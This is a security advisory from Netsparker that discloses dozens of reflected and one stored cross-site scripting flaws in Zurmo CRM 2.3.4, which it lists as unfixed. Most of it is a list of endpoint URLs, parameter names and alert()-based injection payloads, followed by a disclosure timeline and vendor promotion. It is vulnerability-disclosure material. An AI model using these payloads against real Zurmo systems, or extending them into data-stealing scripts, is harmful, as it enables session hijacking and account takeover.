Information
--------------------
Advisory by Netsparker
Name: Multiple Cross-site Scripting Vulnerabilities in Zurmo
Affected Software: Zurmo
Affected Versions: 2.3.4
Homepage: http://zurmo.org/
Vulnerability: Stored Cross-site Scripting, Reflected Cross-site Scripting
Severity: Critical
Status: Not Fixed
CVSS Score (3.0): AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:L
Netsparker Advisory Reference: NS-18-035

Technical Details
--------------------

URL: http://{DOMAIN}/{PATH-OF-ZURMO}/app/index.php/campaigns/default/create
Parameter Name: Campaign%5btextContent%5d
Parameter Type: POST
Attack Pattern: %3c%2ftextarea%3e%3cscRipt%3ealert(0x03D881)%3c%2fscRipt%3e

URL: http://{DOMAIN}/{PATH-OF-ZURMO}/app/index.php/campaigns/default/create
Parameter Name: Campaign%5bhtmlContent%5d
Parameter Type: POST
Attack Pattern: %3c%2ftextarea%3e%3cscRipt%3ealert(0x03D8A9)%3c%2fscRipt%3e

URL: http://{DOMAIN}/{PATH-OF-ZURMO}/app/index.php/emailTemplates/default/relationsAndAttributesTreeForMergeTags?id=9&nodeId=source&type=2&uniqueId=%22%3e%3ciMg%20src%3dN%20onerror%3dalert(9)%3e
Parameter Name: uniqueId
Parameter Type: GET
Attack Pattern: %22%3e%3ciMg+src%3dN+onerror%3dalert(9)%3e

URL: http://{DOMAIN}/{PATH-OF-ZURMO}/app/index.php/tasks/default/modalCreate?modalId=%27%22--%3E%3C/style%3E%3C/scRipt%3E%3CscRipt%3Ealert(0x003E14)%3C/scRipt%3E
Parameter Name:   modalId
Parameter Type: GET
Attack Pattern: '"--></style></scRipt><scRipt>alert(0x003E14)</scRipt>

URL: http://{DOMAIN}/{PATH-OF-ZURMO}/app/index.php/users/default/?User_page=&User_sort=%3cscRipt%3ealert(0x00AE98)%3c%2fscRipt%3e&ajax=list-view&selectedIds=
Parameter Name:  User_sort
Parameter Type:  GET
Attack Pattern: %3cscRipt%3ealert(0x00AE98)%3c%2fscRipt%3e

URL: http://{DOMAIN}/{PATH-OF-ZURMO}/app/index.php/workflows/default/inQueuesAutoComplete?formClassName=%3cscRipt%3ealert(0x0469DF)%3c%2fscRipt%3e&term=3
Parameter Name: formClassName
Parameter Type: GET
Attack Pattern:  %3cscRipt%3ealert(0x0469DF)%3c%2fscRipt%3e

URL:  http://{DOMAIN}/{PATH-OF-ZURMO}/app/index.php/zurmo/default/validateDynamicSearch?viewClassName=UsersSearchView&modelClassName=%3cscRipt%3ealert(0x00BBB5)%3c%2fscRipt%3e&formModelClassName=UsersSearchForm
Parameter Name: modelClassName
Parameter Type: GET
Attack Pattern: %3cscRipt%3ealert(0x00BBB5)%3c%2fscRipt%3e

URL: http://{DOMAIN}/{PATH-OF-ZURMO}/app/index.php/zurmo/default/validateDynamicSearch?viewClassName=%3cscRipt%3ealert(0x00BB76)%3c%2fscRipt%3e&modelClassName=User&formModelClassName=UsersSearchForm
Parameter Name:  viewClassName
Parameter Type: GET
Attack Pattern: %3cscRipt%3ealert(0x00BB76)%3c%2fscRipt%3e

URL: http://{DOMAIN}/{PATH-OF-ZURMO}/app/index.php/zurmo/group/modalList?modalTransferInformation%5BsourceIdFieldId%5D=Group_group_id&modalTransferInformation%5BsourceNameFieldId%5D=Group_group_name&modalTransferInformation%5BmodalId%5D=%22%3E%3CscRipt%3Ealert(9)%3C/scRipt%3E&modalTransferInformation%5BsourceModelId%5D=-27
Parameter Name:  modalTransferInformation%5BmodalId%5D
Parameter Type: GET
Attack Pattern: "><scRipt>alert(9)</scRipt>

URL: http://{DOMAIN}/{PATH-OF-ZURMO}/app/index.php/accounts/default/copy?id=3
Parameter Name:  Account%5bshippingAddress%5d%5bpostalCode%5d
Parameter Type: POST
Attack Pattern: %27%22+ns%3dalert(0x043839)+

URL: http://{DOMAIN}/{PATH-OF-ZURMO}/app/index.php/accounts/default/copy?id=3
Parameter Name: Account%5bbillingAddress%5d%5bpostalCode%5d
Parameter Type: POST
Attack Pattern: %27%22+ns%3dalert(0x042B93)+

URL: http://{DOMAIN}/{PATH-OF-ZURMO}/app/index.php/accounts/default/create
Parameter Name: Account%5bbillingAddress%5d%5bpostalCode%5d
Parameter Type: POST
Attack Pattern: %27%22+ns%3dalert(0x0148B5)+

URL: http://{DOMAIN}/{PATH-OF-ZURMO}/app/index.php/accounts/default/create
Parameter Name: Account%5bbillingAddress%5d%5bcountry%5d
Parameter Type: POST
Attack Pattern: %27%22+ns%3dalert(0x015536)+

URL:  http://{DOMAIN}/{PATH-OF-ZURMO}/app/index.php/accounts/default/create
Parameter Name: Account%5bbillingAddress%5d%5bcity%5d
Parameter Type: POST
Attack Pattern: %27%22+ns%3dalert(0x0138F7)+

URL: http://{DOMAIN}/{PATH-OF-ZURMO}/app/index.php/accounts/default/create
Parameter Name: Account%5bshippingAddress%5d%5bstreet1%5d
Parameter Type:  POST
Attack Pattern: %27%22+ns%3dalert(0x015C06)+

URL: http://{DOMAIN}/{PATH-OF-ZURMO}/app/index.php/accounts/default/create
Parameter Name: Account%5bshippingAddress%5d%5bcountry%5d
Parameter Type: POST
Attack Pattern: %27%22+ns%3dalert(0x019E07)+

URL: http://{DOMAIN}/{PATH-OF-ZURMO}/app/index.php/accounts/default/create
Parameter Name:  Account%5bshippingAddress%5d%5bpostalCode%5d
Parameter Type:   POST
Attack Pattern:  %27%22+ns%3dalert(0x018E2C)+

URL:  http://{DOMAIN}/{PATH-OF-ZURMO}/app/index.php/accounts/default/create
Parameter Name: Account%5bbillingAddress%5d%5bstreet2%5d
Parameter Type: POST
Attack Pattern: %27%22+ns%3dalert(0x013319)+

URL:  http://{DOMAIN}/{PATH-OF-ZURMO}/app/index.php/accounts/default/create
Parameter Name: Account%5bbillingAddress%5d%5bstate%5d
Parameter Type: POST
Attack Pattern: %27%22+ns%3dalert(0x0140DF)+

URL: http://{DOMAIN}/{PATH-OF-ZURMO}/app/index.php/accounts/default/create
Parameter Name: Account%5bshippingAddress%5d%5bstreet2%5d
Parameter Type: POST
Attack Pattern: %27%22+ns%3dalert(0x0168E7)+

URL: http://{DOMAIN}/{PATH-OF-ZURMO}/app/index.php/accounts/default/create
Parameter Name: Account%5bshippingAddress%5d%5bcity%5d
Parameter Type: POST
Attack Pattern:  %27%22+ns%3dalert(0x016DBF)+

URL:  http://{DOMAIN}/{PATH-OF-ZURMO}/app/index.php/accounts/default/create
Parameter Name: Account%5bbillingAddress%5d%5bstreet1%5d
Parameter Type: POST
Attack Pattern:  %27%22+ns%3dalert(0x012BD8)+  

URL: http://{DOMAIN}/{PATH-OF-ZURMO}/app/index.php/accounts/default/create
Parameter Name: Account%5bshippingAddress%5d%5bstate%5d
Parameter Type: POST
Attack Pattern: %27%22+ns%3dalert(0x017C1A)+

URL: http://{DOMAIN}/{PATH-OF-ZURMO}/app/index.php/contacts/default/create
Parameter Name: Contact%5bsecondaryAddress%5d%5bstreet2%5d
Parameter Type: POST
Attack Pattern: %27%22+ns%3dalert(0x01846B)+

URL: http://{DOMAIN}/{PATH-OF-ZURMO}/app/index.php/contacts/default/create
Parameter Name: Contact%5bprimaryAddress%5d%5bcountry%5d
Parameter Type: POST
Attack Pattern: %27%22+ns%3dalert(0x016B69)+

URL: http://{DOMAIN}/{PATH-OF-ZURMO}/app/index.php/contacts/default/create
Parameter Name: Contact%5bsecondaryAddress%5d%5bstreet1%5d
Parameter Type: POST
Attack Pattern: %27%22+ns%3dalert(0x017305)+

URL: http://{DOMAIN}/{PATH-OF-ZURMO}/app/index.php/contacts/default/create
Parameter Name: Contact%5bprimaryAddress%5d%5bstreet2%5d
Parameter Type: POST
Attack Pattern: %27%22+ns%3dalert(0x01442F)+

URL: http://{DOMAIN}/{PATH-OF-ZURMO}/app/index.php/contacts/default/create
Parameter Name: Contact%5bsecondaryAddress%5d%5bcity%5d
Parameter Type: POST
Attack Pattern: %27%22+ns%3dalert(0x0196A6)+

URL:  http://{DOMAIN}/{PATH-OF-ZURMO}/app/index.php/contacts/default/create
Parameter Name: Contact%5bprimaryAddress%5d%5bstreet1%5d
Parameter Type: POST
Attack Pattern: %27%22+ns%3dalert(0x013DED)+

URL: http://{DOMAIN}/{PATH-OF-ZURMO}/app/index.php/contacts/default/create
Parameter Name: POST
Parameter Type: Contact%5bprimaryAddress%5d%5bpostalCode%5d
Attack Pattern: %27%22+ns%3dalert(0x016218)+

URL:  http://{DOMAIN}/{PATH-OF-ZURMO}/app/index.php/contacts/default/create
Parameter Name: Contact%5bprimaryAddress%5d%5bstate%5d
Parameter Type: POST
Attack Pattern: %27%22+ns%3dalert(0x01571B)+

URL: http://{DOMAIN}/{PATH-OF-ZURMO}/app/index.php/contacts/default/create
Parameter Name: Contact%5bprimaryAddress%5d%5bcity%5d
Parameter Type:  POST
Attack Pattern: %27%22+ns%3dalert(0x015202)+

URL: http://{DOMAIN}/{PATH-OF-ZURMO}/app/index.php/contacts/default/create
Parameter Name: Contact%5bsecondaryAddress%5d%5bstate%5d
Parameter Type: POST
Attack Pattern: %27%22+ns%3dalert(0x01A06D)+

URL: http://{DOMAIN}/{PATH-OF-ZURMO}/app/index.php/contacts/default/create
Parameter Name:  Contact%5bsecondaryAddress%5d%5bpostalCode%5d  
Parameter Type: POST
Attack Pattern: %27%22+ns%3dalert(0x01BCB4)+

URL:   http://{DOMAIN}/{PATH-OF-ZURMO}/app/index.php/leads/default/create
Parameter Name: Contact%5bsecondaryAddress%5d%5bpostalCode%5d
Parameter Type: POST
Attack Pattern: %27%22+ns%3dalert(0x020162)+

URL: http://{DOMAIN}/{PATH-OF-ZURMO}/app/index.php/leads/default/create
Parameter Name: Contact%5bsecondaryAddress%5d%5bstreet2%5d
Parameter Type: POST
Attack Pattern: %27%22+ns%3dalert(0x01D27C)+

URL: http://{DOMAIN}/{PATH-OF-ZURMO}/app/index.php/leads/default/create
Parameter Name: Contact%5bprimaryAddress%5d%5bcity%5d
Parameter Type: POST
Attack Pattern: %27%22+ns%3dalert(0x016F4D)+

URL:  http://{DOMAIN}/{PATH-OF-ZURMO}/app/index.php/leads/default/create  
Parameter Name: Contact%5bsecondaryAddress%5d%5bstreet1%5d
Parameter Type:  POST
Attack Pattern: %27%22+ns%3dalert(0x01B6B6)+

URL: http://{DOMAIN}/{PATH-OF-ZURMO}/app/index.php/leads/default/create
Parameter Name: Contact%5bprimaryAddress%5d%5bstreet2%5d
Parameter Type: POST
Attack Pattern:  %27%22+ns%3dalert(0x016A71)+  

URL: http://{DOMAIN}/{PATH-OF-ZURMO}/app/index.php/leads/default/create
Parameter Name: Contact%5bprimaryAddress%5d%5bstreet1%5d
Parameter Type: POST
Attack Pattern: %27%22+ns%3dalert(0x015E6B)+

URL: http://{DOMAIN}/{PATH-OF-ZURMO}/app/index.php/leads/default/create
Parameter Name:  Contact%5bprimaryAddress%5d%5bcountry%5d
Parameter Type:  POST
Attack Pattern:  %27%22+ns%3dalert(0x019F29)+

URL: http://{DOMAIN}/{PATH-OF-ZURMO}/app/index.php/leads/default/create
Parameter Name: Contact%5bprimaryAddress%5d%5bpostalCode%5d
Parameter Type: POST
Attack Pattern:  %27%22+ns%3dalert(0x01934C)+  

URL: http://{DOMAIN}/{PATH-OF-ZURMO}/app/index.php/leads/default/create
Parameter Name: Contact%5bsecondaryAddress%5d%5bstate%5d
Parameter Type: POST
Attack Pattern:  %27%22+ns%3dalert(0x01F270)+  

URL: http://{DOMAIN}/{PATH-OF-ZURMO}/app/index.php/leads/default/create
Parameter Name: Contact%5bsecondaryAddress%5d%5bcity%5d
Parameter Type: POST
Attack Pattern:  %27%22+ns%3dalert(0x01E23A)+  

URL: http://{DOMAIN}/{PATH-OF-ZURMO}/app/index.php/leads/default/create
Parameter Name: Contact%5bsecondaryAddress%5d%5bcountry%5d
Parameter Type: POST
Attack Pattern: %27%22+ns%3dalert(0x020265)+

URL: http://{DOMAIN}/{PATH-OF-ZURMO}/app/index.php/leads/default/create
Parameter Name: Contact%5bprimaryAddress%5d%5bstate%5d
Parameter Type: POST
Attack Pattern: %27%22+ns%3dalert(0x017EE7)+

URL: http://{DOMAIN}/{PATH-OF-ZURMO}/app/index.php/users/default/create
Parameter Name: UserPasswordForm%5bprimaryAddress%5d%5bstreet1%5d
Parameter Type: POST
Attack Pattern: %27%22+ns%3dalert(0x02676C)+

URL: http://{DOMAIN}/{PATH-OF-ZURMO}/app/index.php/users/default/create
Parameter Name: UserPasswordForm%5bprimaryAddress%5d%5bstate%5d
Parameter Type: POST
Attack Pattern: %27%22+ns%3dalert(0x027DED)+

URL: http://{DOMAIN}/{PATH-OF-ZURMO}/app/index.php/users/default/create
Parameter Name: UserPasswordForm%5bprimaryAddress%5d%5bcountry%5d
Parameter Type:  POST
Attack Pattern: %27%22+ns%3dalert(0x028C77)+

URL: http://{DOMAIN}/{PATH-OF-ZURMO}/app/index.php/users/default/create
Parameter Name: UserPasswordForm%5bprimaryAddress%5d%5bpostalCode%5d
Parameter Type: POST
Attack Pattern: %27%22+ns%3dalert(0x028496)+

URL: http://{DOMAIN}/{PATH-OF-ZURMO}/app/index.php/users/default/create
Parameter Name: UserPasswordForm%5bprimaryAddress%5d%5bcity%5d
Parameter Type:  POST
Attack Pattern: %27%22+ns%3dalert(0x0273E5)+

URL: http://{DOMAIN}/{PATH-OF-ZURMO}/app/index.php/users/default/create
Parameter Name: UserPasswordForm%5bprimaryAddress%5d%5bstreet2%5d
Parameter Type: POST
Attack Pattern:  %27%22+ns%3dalert(0x0269A8)+  

URL: http://{DOMAIN}/{PATH-OF-ZURMO}/app/index.php/users/default/edit?id=3
Parameter Name: User%5bprimaryAddress%5d%5bpostalCode%5d
Parameter Type: POST
Attack Pattern:  %27%22+ns%3dalert(0x0279A4)+  

Stored XSS

URL: http://{DOMAIN}/{PATH-OF-ZURMO}/app/index.php/zurmo/group/modalList?modalTransferInformation[sourceIdFieldId]=Group_group_id&modalTransferInformation[sourceNameFieldId]=Group_group_name&modalTransferInformation[modalId]=modalContainer-edit-form&modalTransferInformation[sourceModelId]=/app/index.php/zurmo/group/modalList
Injection URL: http://{DOMAIN}/{PATH-OF-ZURMO}/app/index.php/zurmo/group/edit?id=24
Parameter Name: Group%5bname%5d
Parameter Type: POST
Attack Pattern: '"--></style></scRipt><scRipt>alert(0x045B33)</scRipt>

For more information on cross-site scripting vulnerabilities read the article Cross-site Scripting (XSS).

Advisory Timeline
--------------------

12th November 2018 - First Contact Attempt
2nd January 2019 - Advisory Released

Credits & Authors
--------------------

These issues have been discovered by Zekvan Arslan while testing Netsparker Web Application Security Scanner.

About Netsparker
--------------------

Netsparker web application security scanners find and report security flaws and vulnerabilities such as SQL Injection and Cross-site Scripting (XSS) in all websites and web applications, regardless of the platform and technology they are built on. Netsparker scanning engine’s unique detection and exploitation techniques allow it to be dead accurate in reporting vulnerabilities. The Netsparker web application security scanner is available in two editions; Netsparker Desktop and Netsparker Cloud. Visit our website https://www.netsparker.com for more information.